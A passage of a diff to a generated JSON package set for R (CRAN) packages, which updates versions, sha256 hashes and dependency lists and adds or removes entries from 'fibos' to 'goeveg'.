+65877,8 @@ }, "fibos": { "name": "fibos", - "version": "1.2.3", - "sha256": "0dv27bfjdqhgm3cypi37jr669s2abirn8632yc05fby1a3yfg721", + "version": "2.0.1", + "sha256": "1aajmvswh6rf5ys40vcp3ismlpzw4vg12c8nsg4fsk1dnmlby78b", "depends": ["dplyr", "fs", "glue", "readr", "reticulate", "stringr", "tidyr"] }, "fic": { @@ -66475,10 +66205,16 @@ "sha256": "10krny60dkpgwjjnriap91qmrnfq1rl5ck4ynf4h6x016bv0m374", "depends": ["ggplot2"] }, + "fireexposuR": { + "name": "fireexposuR", + "version": "1.1.0", + "sha256": "0xr5c8zcdwkbqhzyvnbfkqyw0qnfbaigi1yglmj1v6spd8m3kssz", + "depends": ["MultiscaleDTM", "dplyr", "geosphere", "ggplot2", "ggspatial", "magrittr", "maptiles", "rlang", "terra", "tidyr", "tidyselect", "tidyterra"] + }, "first": { "name": "first", - "version": "1.1", - "sha256": "13gzjxgbqjn227981sijkksbjkyh8fca9735zjq93w2mv2af3y87", + "version": "2.0", + "sha256": "0lz2nm7rvqyfnxbc3p357k18wbzrzjf39is9xp5ajgq3vpmpjgln", "depends": ["FNN", "twinning"] }, "fishMod": { @@ -66693,8 +66429,8 @@ }, "fixes": { "name": "fixes", - "version": "0.2.1", - "sha256": "1ndzl00ph4vd9lc21fsvcgph2rciqjk96xcr400i9d7gln6jj2yx", + "version": "0.4.0", + "sha256": "06zh7fd8dvdc7ndp1fbsrnvdvx2ga1ya10jvlfrlzggfqd38x13f", "depends": ["broom", "dplyr", "fixest", "ggplot2", "rlang", "tibble"] }, "fixest": { @@ -66895,12 +66631,6 @@ "sha256": "1s160zi8bsdwk2vq0f0a3cbki1j42zk14dp2abxbpfjzhxyl7621", "depends": ["lattice", "modeltools", "nnet"] }, - "flexmixNL": { - "name": "flexmixNL", - "version": "0.0.1", - "sha256": "0bk5v0cnsn1qkd1b86vj0bnpr4l9d6523kpkgzb1l1sqyscawfmm", - "depends": ["flexmix", "gnm"] - }, "flexmsm": { "name": "flexmsm", "version": "0.1.2", @@ -66951,15 +66681,15 @@ }, "flextable": { "name": "flextable", - "version": "0.9.8", - "sha256": "0pvka77jg97w0fk309mpdb7qv9k3dbrzg08rq21p624c217y2wln", + "version": "0.9.9", + "sha256": "1br0hbccb5slm6w0vb5dbq7nxrvnsb3c39bqp3cc9jmhsgyx77yq", "depends": ["data_table", "gdtools", "htmltools", "knitr", "officer", "ragg", "rlang", "rmarkdown", "uuid", "xml2"] }, - "flifo": { - "name": "flifo", - "version": "0.1.5", - "sha256": "03x66l3ryrjvwbxxd0ncjrb5w9kc7fswmp5psb1cb7r87f395gm3", - "depends": ["bazar", "pryr"] + "flexurba": { + "name": "flexurba", + "version": "0.2.2", + "sha256": "13lbjx9lfgqf0xj8y1cphydcyy8vqghppiq4jw210sz1xkc16bvz", + "depends": ["Rcpp", "data_table", "dplyr", "exactextractr", "fastmatch", "geos", "ggplot2", "ggspatial", "jsonlite", "lifecycle", "magrittr", "nngeo", "sf", "terra", "tidyterra"] }, "flightplot": { "name": "flightplot", @@ -66981,8 +66711,8 @@ }, "flint": { "name": "flint", - "version": "0.0.4", - "sha256": "04bci3hpsf7rwinssacbd0fjzlxhdvlq5kk29y02kwpcq2s820bp", + "version": "0.0.5", + "sha256": "0mfm6acjfsk6z267y1falrg8y7h4kpjgx15cxbp1v1hqcbcw22fl", "depends": [] }, "flintyR": { @@ -67101,9 +66831,9 @@ }, "flowmapper": { "name": "flowmapper", - "version": "0.1.3", - "sha256": "0zz42c733hzk1q93qxvjidrs2jvh2cdbphd2hqlvfnddk57zhx3a", - "depends": ["dplyr", "forcats", "ggplot2", "purrr", "scales", "tidyr"] + "version": "0.1.4", + "sha256": "015wpf76c42xm2hsnn0hqrby5vs6zvq2b9brhihriyhmpbmdd4rd", + "depends": ["dplyr", "forcats", "ggplot2", "lifecycle", "purrr", "scales", "sf", "sfheaders", "tidyr"] }, "flowml": { "name": "flowml", @@ -67149,9 +66879,9 @@ }, "fluxible": { "name": "fluxible", - "version": "1.1.2", - "sha256": "0qd3qb769khjap428rmgs7qrh20s75jcs8v1chqfx5g07853lz9d", - "depends": ["broom", "dplyr", "ggforce", "ggplot2", "haven", "lubridate", "progress", "purrr", "purrrlyr", "rlang", "stringr", "tidyr", "tidyselect", "zoo"] + "version": "1.2.2", + "sha256": "1j3ccnksfh90jfmg9gqasqjc7n8jd9yczr0x6llz43hl4y3xj3qv", + "depends": ["broom", "dplyr", "ggforce", "ggplot2", "haven", "lifecycle", "lubridate", "progress", "purrr", "purrrlyr", "rlang", "stringr", "tidyr", "tidyselect", "zoo"] }, "fluxweb": { "name": "fluxweb", @@ -67177,6 +66907,12 @@ "sha256": "0swlghwsir1gjw5n2c8kfi5zh6bbqjhk7nnjds2b6656s8xdpr9a", "depends": ["MASS", "Matrix", "coda"] }, + "fmds": { + "name": "fmds", + "version": "0.1.5", + "sha256": "068hc7r7cbkym38m414nsmhi5lf8mmxns99di0h43b6bbphr6zli", + "depends": [] + }, "fmdu": { "name": "fmdu", "version": "0.2.1", @@ -67197,8 +66933,8 @@ }, "fmesher": { "name": "fmesher", - "version": "0.3.0", - "sha256": "1l860v9mr66y7181pi9954hrz9hgfh9yrq8w379asmgi8dm6v400", + "version": "0.4.0", + "sha256": "0c0wf1lxl5kwdpa91jvfg8ysn7yarrbrwr5ycf32dfvx1b164s7q", "depends": ["Matrix", "Rcpp", "dplyr", "lifecycle", "rlang", "sf", "tibble", "withr"] }, "fmf": { @@ -67333,12 +67069,6 @@ "sha256": "0qv3i9hch7cygl9983s3w68wfh5qvym2jkm52pp06p6mq8a1i1wm", "depends": ["fontBitstreamVera", "fontLiberation"] }, - "foodingraph": { - "name": "foodingraph", - "version": "0.1.0", - "sha256": "0v40yk7lx0zxvpd3vz48h5gzx8ds8v3l12i2r7v9safgfvip6fvn", - "depends": ["cowplot", "dplyr", "ggplot2", "ggraph", "igraph", "labeling", "magrittr", "minerva", "rlang", "stringr", "tibble", "tidyr", "viridis"] - }, "foodquotient": { "name": "foodquotient", "version": "0.1.1", @@ -67375,12 +67105,6 @@ "sha256": "0401100lx03p6pa7n6z3lfn9gxs7m7d43ycn788wpn3iykv9b3x4", "depends": ["dplyr", "ggnewscale", "ggplot2", "ggplotify", "gridExtra", "lmodel2", "lubridate", "magrittr", "patchwork", "plyr", "reshape2", "rvest", "scales", "stringr", "xml2"] }, - "forImage": { - "name": "forImage", - "version": "0.1.0", - "sha256": "1p8zfndvm7x7pnryphz944hgxcchvc6mwnr6ap15m0i6kwsh0nb4", - "depends": ["dplyr", "magrittr", "reticulate", "tibble"] - }, "forams": { "name": "forams", "version": "2.0-6", @@ -67405,6 +67129,12 @@ "sha256": "0agr4w6qy1sdnn0aa5xpm4dy2zpcjyi6w3hcqf4yfgim0a2gb930", "depends": ["data_table", "signal", "stringi"] }, + "forcis": { + "name": "forcis", + "version": "1.0.1", + "sha256": "1ylg04njs8dki64wk7alvhnbdazmy8fb2gc57jfmj11clmkxyylm", + "depends": ["ggplot2", "httr2", "rlang", "sf", "tibble", "tidyr", "vroom"] + }, "foreSIGHT": { "name": "foreSIGHT", "version": "1.2.0", @@ -67581,8 +67311,8 @@ }, "forestplot": { "name": "forestplot", - "version": "3.1.6", - "sha256": "1ijy8lir8l2pwg4y2anfi84c47ssq26z97ixnswbssk9ih07r7qh", + "version": "3.1.7", + "sha256": "0jhz96r8mvs50bza5nf36pm5cxrgsja04ghvljfalp5f4p6q465p", "depends": ["abind", "checkmate"] }, "forestploter": { @@ -67653,8 +67383,8 @@ }, "formods": { "name": "formods", - "version": "0.2.0", - "sha256": "1r9bjnd53zlr4smvmi4qzxwl8zhjvv1m634dwmgf2mvdra19fvh0", + "version": "0.2.1", + "sha256": "04gpkzygz9p29xjzfiqlky6rbg22xfw4qcdrrsiq1mzv5c1s732r", "depends": ["cli", "digest", "dplyr", "ggforce", "ggplot2", "onbrand", "readr", "readxl", "rhandsontable", "rlang", "shiny", "shinyAce", "shinyWidgets", "stringr", "writexl", "yaml", "zip"] }, "formula_tools": { @@ -67725,9 +67455,9 @@ }, "fossilbrush": { "name": "fossilbrush", - "version": "1.0.5", - "sha256": "056krpxsx0gz47py6v2ldik74gsnhbc1d0v144i7v4f4qcm14hs1", - "depends": ["Matrix", "data_table", "igraph", "pbapply", "stringdist", "stringr"] + "version": "1.0.6", + "sha256": "0xvi9p6kxmrqqbmcbb8w2lipls5kd32n7jsrsw1yd5pc33lbvapc", + "depends": ["Matrix", "curl", "data_table", "igraph", "pbapply", "stringdist", "stringr"] }, "foto": { "name": "foto", @@ -67771,12 +67501,6 @@ "sha256": "0irzsl1g71z7kl0qrklkv0rv9byv017lh5klp5hfw3xw8zw3sm2g", "depends": ["MASS", "class", "cluster", "diptest", "flexmix", "kernlab", "mclust", "prabclus", "robustbase"] }, - "fpcb": { - "name": "fpcb", - "version": "0.1.0", - "sha256": "086060z6r79m527bb9ah6yk2z15xq8x27gyvbz23xbm6mhrxsa1y", - "depends": ["FNN"] - }, "fpeek": { "name": "fpeek", "version": "0.1.2", @@ -68151,8 +67875,8 @@ }, "frictionless": { "name": "frictionless", - "version": "1.2.0", - "sha256": "1mnrkrslwvqrlsib73gv160482hdcnxfy6cvdmfgi0qbfam0xx9n", + "version": "1.2.1", + "sha256": "14qg0jqfbfyan62vrd72w7ia75mipf6c6p882iid0pw6sj31cgnr", "depends": ["cli", "dplyr", "httr", "jsonlite", "purrr", "readr", "rlang", "yaml"] }, "friendlynumber": { @@ -68667,32 +68391,32 @@ }, "future": { "name": "future", - "version": "1.49.0", - "sha256": "10hrgjsk0dlx7qwyqnn13hj560j1s76s0ri2zrwjdr5vmfndrh5b", + "version": "1.58.0", + "sha256": "1r4g38idri2lxrbgd4j20ypp3zj0j99m96zk35qyfjx2sazwjxr7", "depends": ["digest", "globals", "listenv", "parallelly"] }, "future_apply": { "name": "future.apply", - "version": "1.11.3", - "sha256": "1l45vc30fn4kr5v49nnh5bkixa9ff006cp9sh9qiss76162qbs76", + "version": "1.20.0", + "sha256": "07mapwzhrm7j4i12g7vqrncihfv7x0w2mhgcrzcsl6nnlzkygkpq", "depends": ["future", "globals"] }, "future_batchtools": { "name": "future.batchtools", - "version": "0.12.1", - "sha256": "0cfr4y6d0x1vm0qdpj2b6i9jddd6065iwbv99nix7nls4dzylwfv", + "version": "0.12.2", + "sha256": "1ccl79426syv90mpyvrrrv259yjzvmp4qzfzzn506dk6rjpdwnhb", "depends": ["batchtools", "future", "parallelly"] }, "future_callr": { "name": "future.callr", - "version": "0.8.2", - "sha256": "14hq53cam65ff25l6y17zv37448ls90sa0w51f13199m1kffaaqb", - "depends": ["callr", "future"] + "version": "0.10.0", + "sha256": "06f5s4rsaa2q6jkqx44i9l99g99ylwzxkhj4avjk2k64pvjw2aw6", + "depends": ["callr", "future", "parallelly"] }, "future_mirai": { "name": "future.mirai", - "version": "0.2.2", - "sha256": "0fq01gzcby7sy51vhq2jdrrvfa14i94jjdf80jwvm9lwmc3p20d8", + "version": "0.10.0", + "sha256": "19hhyq0ag9c9gajj266n0wkl341izwqhbdk9h8yq5dp7nifxlas7", "depends": ["future", "mirai", "parallelly"] }, "future_tests": { @@ -68737,11 +68461,11 @@ "sha256": "0s5rhqz8vih4za3a8k1k7i3gq8hj0w7bqnakw40k6mg87jvyzsj7", "depends": ["dplyr", "geosphere", "purrr", "stringdist", "stringr", "tibble", "tidyr"] }, - "fuzzyreg": { - "name": "fuzzyreg", - "version": "0.6.2", - "sha256": "056ryj4w26fb4fpy43fgvqs8ijcpm6v503pnzw73d8gxahwkvwl2", - "depends": ["limSolve", "quadprog"] + "fuzzylink": { + "name": "fuzzylink", + "version": "0.2.1", + "sha256": "1r3rqvxapx6gx6pry9hbadk7wggr4g0w68pb4d9a9n4vx3dyrwng", + "depends": ["Rfast", "dplyr", "httr", "httr2", "jsonlite", "ranger", "reshape2", "stringdist", "stringr"] }, "fuzzywuzzyR": { "name": "fuzzywuzzyR", @@ -68751,8 +68475,8 @@ }, "fwb": { "name": "fwb", - "version": "0.3.0", - "sha256": "0k1bn3qnabrvkgzjyw0qbc4xwkydmpx33f4yqijjlzyqnskvmw9g", + "version": "0.4.0", + "sha256": "052b43cbrsn7rz7mbhs5m50qhjpq414cvp42zd1jk9zrxm1wak03", "depends": ["chk", "pbapply", "rlang"] }, "fwlplot": { @@ -68943,8 +68667,8 @@ }, "gWidgets2tcltk": { "name": "gWidgets2tcltk", - "version": "1.0-8", - "sha256": "02ic4avpa33dnqsnm1mzg7ci1psngk1p169pqf259szf6v39qf8h", + "version": "1.0-9", + "sha256": "1jjn013lw03qrn84y7j1va5xdldhyl38f3qrbzapvyj01dmsnfar", "depends": ["digest", "gWidgets2", "memoise"] }, "gaawr2": { @@ -68991,8 +68715,8 @@ }, "galah": { "name": "galah", - "version": "2.1.1", - "sha256": "1bwr66815kdpw7j2jiw3s9x2gcbrpqa9vwzfmg0is5glnvczckbl", + "version": "2.1.2", + "sha256": "17yij2sj24xb534cy2pls3az1vfb0nllwpp308ndkh4d28jkwxik", "depends": ["cli", "crayon", "dplyr", "glue", "httr2", "jsonlite", "lifecycle", "potions", "purrr", "readr", "rlang", "sf", "stringr", "tibble", "tidyr", "tidyselect", "xml2"] }, "galamm": { @@ -69121,12 +68845,6 @@ "sha256": "1l2g0gn794jyyjxvphfk1l8h4qwf6sk1akcf0c08xqx3kgillnjl", "depends": ["gamlss", "gamlss_dist", "survival"] }, - "gamlss_countKinf": { - "name": "gamlss.countKinf", - "version": "3.5.1", - "sha256": "1xalp909gxxhyhh4chlr1ssyfhydhw1w3szzbynajji98576zaqv", - "depends": ["gamlss", "gamlss_dist"] - }, "gamlss_data": { "name": "gamlss.data", "version": "6.0-6", @@ -69211,6 +68929,12 @@ "sha256": "0wsxy97kdfmlvrflp9l3fqn5ckdraxb7lbjpq1znqgj304g0j45n", "depends": ["IsoplotR", "ggplot2", "rlang", "rxylib"] }, + "gammaFuncModel": { + "name": "gammaFuncModel", + "version": "4.0", + "sha256": "0r16ni3wcdq1z26lf4k14l5ax0ry95vyj07vsdn270wh10b1hi6m", + "depends": ["Rdpack", "cubature", "dplyr", "future_apply", "ggplot2", "gridExtra", "nlme", "patchwork", "rlang", "rootSolve", "scales"] + }, "gammi": { "name": "gammi", "version": "0.2", @@ -69237,8 +68961,8 @@ }, "gamstransfer": { "name": "gamstransfer", - "version": "3.0.5", - "sha256": "0virpysnxv1mgwp1ancyba5l9587sdjd0awfdab89y545dalkczj", + "version": "3.0.6", + "sha256": "1q6609v6zmmkv1cdf21blwr896xy8gyp54jyn1qqjsc77y69mx2j", "depends": ["R6", "R_utils", "Rcpp", "collections"] }, "ganDataModel": { @@ -69291,8 +69015,8 @@ }, "gapminder": { "name": "gapminder", - "version": "1.0.0", - "sha256": "1hlpddji4z7j71fhpc6nkwl6fmwxfkdj9v053c9fhnvr1ywjzs4h", + "version": "1.0.1", + "sha256": "07rm3918n1wqs3n9s0rjpnlrhgizf7cxp04m3z22mw6gdxbkilgd", "depends": ["tibble"] }, "garchx": { @@ -69345,9 +69069,9 @@ }, "gasmodel": { "name": "gasmodel", - "version": "0.6.0", - "sha256": "16wxv0fkaayxvd5h436wyp9is8y47k7ivim5f9md4g4acy3ca3cb", - "depends": ["CircStats", "Matrix", "abind", "arrangements", "copula", "dplyr", "ggplot2", "mvnfast", "nloptr", "numDeriv", "pracma", "tidyr"] + "version": "0.6.1", + "sha256": "0l2iv67irw7sc5k2f0pgwwzx1ijbxnd83a1iakinichw1i4kjl89", + "depends": ["Matrix", "abind", "arrangements", "copula", "dplyr", "ggplot2", "mvnfast", "nloptr", "numDeriv", "pracma", "tidyr"] }, "gasper": { "name": "gasper", @@ -69391,16 +69115,10 @@ "sha256": "1cbhii3z0pa1pxjkv4qqks2jv4radhwgsz11cr21kzg1nkd3g9sc", "depends": ["deSolve"] }, - "gaussDiff": { - "name": "gaussDiff", - "version": "1.1", - "sha256": "0fqjdxp2ibbami75ba16d02dz4rz5sk8mni45di9anydx44g9d45", - "depends": [] - }, "gausscov": { "name": "gausscov", - "version": "1.1.5", - "sha256": "0bddglypz8g77z7dvn2iv0nm8p1p7wmv3rm3zs3ij3jngpxzk4ck", + "version": "1.1.6", + "sha256": "1ipf6fm76g44f93gzmij4ihh3r2qx2hw618lyi050czgij1f9i1m", "depends": [] }, "gaussfacts": { @@ -69477,8 +69195,8 @@ }, "gbm2sas": { "name": "gbm2sas", - "version": "3.0", - "sha256": "1dzqmbfjasydghlb44nl1lsvr53w4gaiyh6852a9lnd62chapd45", + "version": "4.0", + "sha256": "0qag4zmzp5hkw0pbnbskhmy67ppivb013ywy13pwjazrvkg5r748", "depends": ["gbm"] }, "gbmt": { @@ -69541,6 +69259,12 @@ "sha256": "1dn3x9afb6lwys5adi621s6357s66lsif5zv64ilxmckmy2j71zl", "depends": ["cmprsk", "ggplot2", "survival"] }, + "gchartsmap": { + "name": "gchartsmap", + "version": "0.1.3", + "sha256": "1dkpc5hqdhzygj4rbl8s0i0sbj2081j0by76x96iy86f8saj2xj5", + "depends": ["httr", "jsonlite", "sf", "tigris"] + }, "gcite": { "name": "gcite", "version": "0.11.0", @@ -70227,8 +69951,8 @@ }, "geoarrow": { "name": "geoarrow", - "version": "0.2.1", - "sha256": "0sdwlx4v9024m7lz93r9sfcg8zyzs3pvc7hm419y18vapqlvpm24", + "version": "0.3.0", + "sha256": "0ss13j43fvrxcra20xb5q79ah170abjyfb9rwlx35z8qsddjkcqz", "depends": ["nanoarrow", "wk"] }, "geobr": { @@ -70413,8 +70137,8 @@ }, "geometa": { "name": "geometa", - "version": "0.9.1", - "sha256": "0a7qqf511rdm53jlw4pk9vimqbsvq0bxnk1qzkzf6pgi5ll4d6hz", + "version": "0.9.2", + "sha256": "19c6j1pjzrhrymn4y95hkmyj6y9gwkyp108smh961h4kkb7n5c8i", "depends": ["R6", "XML", "crayon", "httr", "jsonlite", "keyring", "readr"] }, "geometries": { @@ -70549,18 +70273,6 @@ "sha256": "01cwlrbqi216a19h9721i0vj7vakrybybqkicbg9pwyv6c2hy8cq", "depends": ["Rcpp", "sp"] }, - "geospt": { - "name": "geospt", - "version": "1.0-5", - "sha256": "060952gblj078r3j246z72c3piviy6gprgsx0w60lyc51k908mz5", - "depends": ["MASS", "TeachingDemos", "fields", "genalg", "gsl", "gstat", "limSolve", "minqa", "plyr", "sgeostat", "sp"] - }, - "geosptdb": { - "name": "geosptdb", - "version": "1.0-1", - "sha256": "1n1jvigavcxlbc5wki74lnhax3060i44m1cvkcr664wsjqhx3kl2", - "depends": ["FD", "StatMatch", "fields", "geospt", "gsl", "limSolve", "minqa", "sp"] - }, "geostan": { "name": "geostan", "version": "0.8.1", @@ -70915,12 +70627,6 @@ "sha256": "04381iaa52ljpkbi4sy5xgyiv0vznd2k7vnwvsdyk4qkggxxyqw9", "depends": ["GGally", "R6", "assertthat", "checkmate", "data_table", "dplyr", "ggforce", "ggplot2", "gtable", "knitr", "magrittr", "purrr", "readr", "rlang", "rmarkdown", "scales", "stringr", "tidyr", "yaml", "zoo"] }, - "ggQC": { - "name": "ggQC", - "version": "0.0.31", - "sha256": "1j9cs97hcj5zmqvn5rjr3gl0b9748s3pv2nb7v66dsyjdwvj7wyy", - "depends": ["dplyr", "ggplot2", "tidyr"] - }, "ggQQunif": { "name": "ggQQunif", "version": "0.1.5", @@ -71049,8 +70755,8 @@ }, "ggblanket": { "name": "ggblanket", - "version": "12.3.0", - "sha256": "0vj29gc8yw1b9yzx5wc8zmrl9y3ynismc8yp5fpxcq85c3qp8k77", + "version": "12.4.0", + "sha256": "1x1fxa66l1glf1r505wh1c7iajlf4n1qwdjkncx98wvyqadv0ww2", "depends": ["colorspace", "dplyr", "farver", "forcats", "ggblend", "ggplot2", "hms", "labelled", "lubridate", "purrr", "rlang", "scales", "snakecase", "stringr", "tidyr", "tidyselect", "viridisLite"] }, "ggblend": { @@ -71205,8 +70911,8 @@ }, "ggeffects": { "name": "ggeffects", - "version": "2.2.1", - "sha256": "1q616qzqpxjrlswhcam34j24nqvajvhi7c8n2ca088jl22szvp2i", + "version": "2.3.0", + "sha256": "13wd3hv9kyfcj4sb1q73b059hkb6lv817sqwiwrxrmykbh6bp3m0", "depends": ["datawizard", "insight"] }, "ggenealogy": { @@ -71343,9 +71049,9 @@ }, "ggh4x": { "name": "ggh4x", - "version": "0.3.0", - "sha256": "0xrq0p6jhzqa1ap1c06pa77mksdh8gvm53sw5iz7hddfl46n8676", - "depends": ["cli", "ggplot2", "gtable", "lifecycle", "rlang", "scales", "vctrs"] + "version": "0.3.1", + "sha256": "11szf1jwc23bc3615fwk89vc8rwhwhl6515d49n1423mxqqc1z6q", + "depends": ["S7", "cli", "ggplot2", "gtable", "lifecycle", "rlang", "scales", "vctrs"] }, "gghalfnorm": { "name": "gghalfnorm", @@ -71379,9 +71085,9 @@ }, "gghighlight": { "name": "gghighlight", - "version": "0.4.1", - "sha256": "1lsvy9ha4d8zs927h8jbdj5r39xqcy1n6g5prw4awiihdvcv9v66", - "depends": ["dplyr", "ggplot2", "ggrepel", "lifecycle", "purrr", "rlang", "tibble"] + "version": "0.5.0", + "sha256": "0ii9skafbh5zlh2y45y2d09163bbqw63nvxlrwlp640pxqbcigy1", + "depends": ["dplyr", "ggplot2", "ggrepel", "lifecycle", "purrr", "rlang", "scales", "tibble"] }, "gghilbertstrings": { "name": "gghilbertstrings", @@ -71463,9 +71169,9 @@ }, "gglinedensity": { "name": "gglinedensity", - "version": "0.1.1", - "sha256": "040pdr4ly73ziv4c8livr17ihinwvl031ig9aj1r8ghz7yrsl0yd", - "depends": ["cli", "ggplot2", "lifecycle", "rlang", "scales", "vctrs"] + "version": "0.2.0", + "sha256": "1xvnickw0ws8b913qcmsykmknmq83gnsjysw7wq8d5aaxbavmqgp", + "depends": ["cli", "ggplot2", "lifecycle", "rlang", "scales", "vctrs", "vdiffr"] }, "gglm": { "name": "gglm", @@ -71647,6 +71353,12 @@ "sha256": "1xkxsxnxcyy8rrazzbl38g405cxjjjz6a720cdm4bsk03q2q4rar", "depends": ["assertthat", "dplyr", "ggplot2", "rlang", "tibble", "tidyr", "tidyselect"] }, + "ggpedigree": { + "name": "ggpedigree", + "version": "0.7.0", + "sha256": "0a4kq6imbi321rh4x2rgnkbad4ckllr939f2lpd5a4119rqf25xs", + "depends": ["BGmisc", "dplyr", "ggplot2", "ggrepel", "kinship2", "paletteer", "plotly", "reshape2", "rlang", "scales", "stringr", "tidyr"] + }, "ggperiodic": { "name": "ggperiodic", "version": "1.0.3", @@ -71887,12 +71599,6 @@ "sha256": "1ggjakfafq6gib7yn684ssv6wdad68an0p13wxl232ikwmw4b66w", "depends": ["cmprsk", "e1071", "ggplot2", "kernlab", "randomForest", "reshape2", "survival"] }, - "ggseas": { - "name": "ggseas", - "version": "0.5.4", - "sha256": "1jpdijwll5l7bg7cmjnklkxffysi9ckzg50rw2a2cd00zwby11q9", - "depends": ["ggplot2", "rlang", "seasonal", "zoo"] - }, "ggsector": { "name": "ggsector", "version": "1.7.0", @@ -72105,9 +71811,9 @@ }, "ggtibble": { "name": "ggtibble", - "version": "1.0.1", - "sha256": "1f9i81vmdkcahxsxqzwgkrjfqchk3jr14h2w8i5gsyhink271kxj", - "depends": ["dplyr", "ggplot2", "glue", "knitr", "purrr", "rlang", "tibble", "tidyr", "vctrs"] + "version": "1.0.2", + "sha256": "1a6lifc9lnn2zcyxcl6gmy9vsv2dga39g7cm1fam8ank50w3b5m0", + "depends": ["checkmate", "dplyr", "ggplot2", "glue", "knitr", "purrr", "rlang", "tibble", "tidyr", "vctrs"] }, "ggtikz": { "name": "ggtikz", @@ -72115,6 +71821,12 @@ "sha256": "07af96qx8n4mal4jnnn8br3gf7bw22mk82c24csvqhki6q5w460z", "depends": ["dplyr", "ggplot2", "stringr", "tikzDevice"] }, + "ggtime": { + "name": "ggtime", + "version": "0.1.0", + "sha256": "1vkd67imby9xlf09fx3347ql40af9xm0n837x8j65p7l3jf9cajc", + "depends": ["dplyr", "fabletools", "ggplot2", "gtable", "lifecycle", "lubridate", "rlang", "scales", "tidyr", "timechange", "tsibble", "vctrs"] + }, "ggtrace": { "name": "ggtrace", "version": "0.2.0", @@ -72195,8 +71907,8 @@ }, "gh": { "name": "gh", - "version": "1.4.1", - "sha256": "1bwj8a2lfansyfx7fiwx2nv8yzhg1fi9ja1n6fk7dbzf64m3zgbn", + "version": "1.5.0", + "sha256": "13lv6bh3g28s9z4v4y8h8hin2gb5igdy2xbd2n8cf3wnhhq0cni9", "depends": ["cli", "gitcreds", "glue", "httr2", "ini", "jsonlite", "lifecycle", "rlang"] }, "ghapps": { @@ -72309,8 +72021,8 @@ }, "gimme": { "name": "gimme", - "version": "0.8.1", - "sha256": "0pa6z82wbhwljm3srkn9ibw9kd9b7avhjb6akyivwy4sdxbz5zcr", + "version": "0.8.2", + "sha256": "081f1gbg771110xmm07dsbs3r1xczzdl9k5r7g87ya5yfdk1k6g3", "depends": ["MASS", "MIIVsem", "data_tree", "igraph", "imputeTS", "lavaan", "nloptr", "qgraph", "tseries"] }, "gimms": { @@ -72403,12 +72115,6 @@ "sha256": "1sksywh50l2v63hnjvhf6ps36mhwda8pq1amc4igq8b4ay40w0z1", "depends": ["callr", "curl", "dplyr", "jsonlite", "markdown", "miniUI", "rstudioapi", "shiny", "shinyFiles", "usethis"] }, - "githubinstall": { - "name": "githubinstall", - "version": "0.2.2", - "sha256": "0hqh86r2007hzdbm8rr0fwqhhsna7ji8sdgmdnrxkxraa5f2pfz3", - "depends": ["curl", "data_table", "devtools", "httr", "jsonlite", "mockery"] - }, "githubr": { "name": "githubr", "version": "0.9.1", @@ -72475,12 +72181,6 @@ "sha256": "1bg9jw4ra76j132lkr0p5m2xlr952fdij1hn6f1v7g687l55m0k5", "depends": ["ROCR", "Rcpp", "kernlab", "seqinr"] }, - "gkwreg": { - "name": "gkwreg", - "version": "1.0.7", - "sha256": "0ndpq6fxs3h2726yix5aw3dp0160cr2pxlx78d4pibci96vnfgjb", - "depends": ["Formula", "Rcpp", "RcppArmadillo", "RcppEigen", "TMB", "fmsb", "ggplot2", "ggpubr", "gridExtra", "magrittr", "numDeriv", "patchwork", "rappdirs", "reshape2", "scales", "tidyr"] - }, "glam": { "name": "glam", "version": "1.0.2", @@ -72625,12 +72325,6 @@ "sha256": "1kyalb06ma622zpkx96nzg3jpx1q2ianvl4300y87ggakwffqi8s", "depends": ["MASS", "abind", "brglm2", "data_table", "dplyr"] }, - "glmglrt": { - "name": "glmglrt", - "version": "0.2.2", - "sha256": "1954ywshnqzr7h77wshf63y3zx3ra8mrfabg5dqjhkgv4rsk3h1y", - "depends": ["MASS", "parameters"] - }, "glmlep": { "name": "glmlep", "version": "0.2", @@ -72703,10 +72397,16 @@ "sha256": "1b9s53lwsn1hymx6rzgd5xjbj7hm5bsf1zrq1s904w74164wr9fj", "depends": ["BH", "Matrix", "Rcpp", "RcppEigen", "RcppProgress", "SparseChol", "digest", "glmmrBase", "rminqa"] }, + "glmmsel": { + "name": "glmmsel", + "version": "1.0.2", + "sha256": "0n8g8l3hvjdll2r19s0awl5l6biacm86kx47v9gcgdc598nrby0c", + "depends": ["Rcpp", "RcppArmadillo", "ggplot2"] + }, "glmnet": { "name": "glmnet", - "version": "4.1-8", - "sha256": "1znw1p1mi7nv39l7albcg6sfxj7a1jyjw85hb3ginv870z7fbnqx", + "version": "4.1-9", + "sha256": "1z9d8s8r4iivjy9ph1dk9czvlj5hadwvk9zj6yz6682szwknfx8m", "depends": ["Matrix", "Rcpp", "RcppEigen", "foreach", "shape", "survival"] }, "glmnetSE": { @@ -72805,6 +72505,12 @@ "sha256": "0m077j7prjc38yshq8ahprfsai0rc20qma2njjbdi975mrwxi25c", "depends": ["VGAM"] }, + "gloBFPr": { + "name": "gloBFPr", + "version": "0.1.0", + "sha256": "1fj90ynmy5byqx94nbwqivw27hd74a7lyhsvkz7kzm4y6193hd2r", + "depends": ["dplyr", "httr2", "rlang", "sf", "terra"] + }, "globalKinhom": { "name": "globalKinhom", "version": "0.1.10", @@ -72853,6 +72559,18 @@ "sha256": "15zk11p10v8fmqvmg9gdhxa0h6s5axvmdkxkpwrg8sgp2ln94fr9", "depends": ["sandwich", "zoo"] }, + "glorenz": { + "name": "glorenz", + "version": "0.1.0", + "sha256": "0hkcgrggrx7ykwblsgzm66x8agirym209s3s6piqk8c3lnzw8kz4", + "depends": ["LorenzRegression", "dplyr", "magrittr", "rlang"] + }, + "glossa": { + "name": "glossa", + "version": "1.1.0", + "sha256": "07sfbzqs5spvmf9z7cjydp64cc8rc54mgxa877rh1cxnbxlai4y0", + "depends": ["DT", "GeoThinneR", "blockCV", "bs4Dash", "dbarts", "dplyr", "ggplot2", "htmltools", "jsonlite", "leaflet", "markdown", "mcp", "pROC", "sf", "shiny", "shinyWidgets", "sparkline", "svglite", "terra", "tidyterra", "waiter", "zip"] + }, "glossary": { "name": "glossary", "version": "1.0.0", @@ -72883,6 +72601,12 @@ "sha256": "183j9gpffmi30lfifl8d9sq1l25f8dgsgqd3blpndf4rm15kcvy8", "depends": [] }, + "glueDo": { + "name": "glueDo", + "version": "0.1.0", + "sha256": "044nc3ri3gc2wckzfs0lynyghk0x6jsgwpjz9v7r5lxizbmmqyjq", + "depends": ["glue"] + }, "gluedown": { "name": "gluedown", "version": "1.0.9", @@ -73125,8 +72849,8 @@ }, "goeveg": { "name": "goeveg", - "version": "0.7.5", - "sha256": "1pdbl044xjganm8y7jg3j877bj1rinsr6k22b5b8ngm2gbdmril3", + "version": "0.7.6", + "sha256": 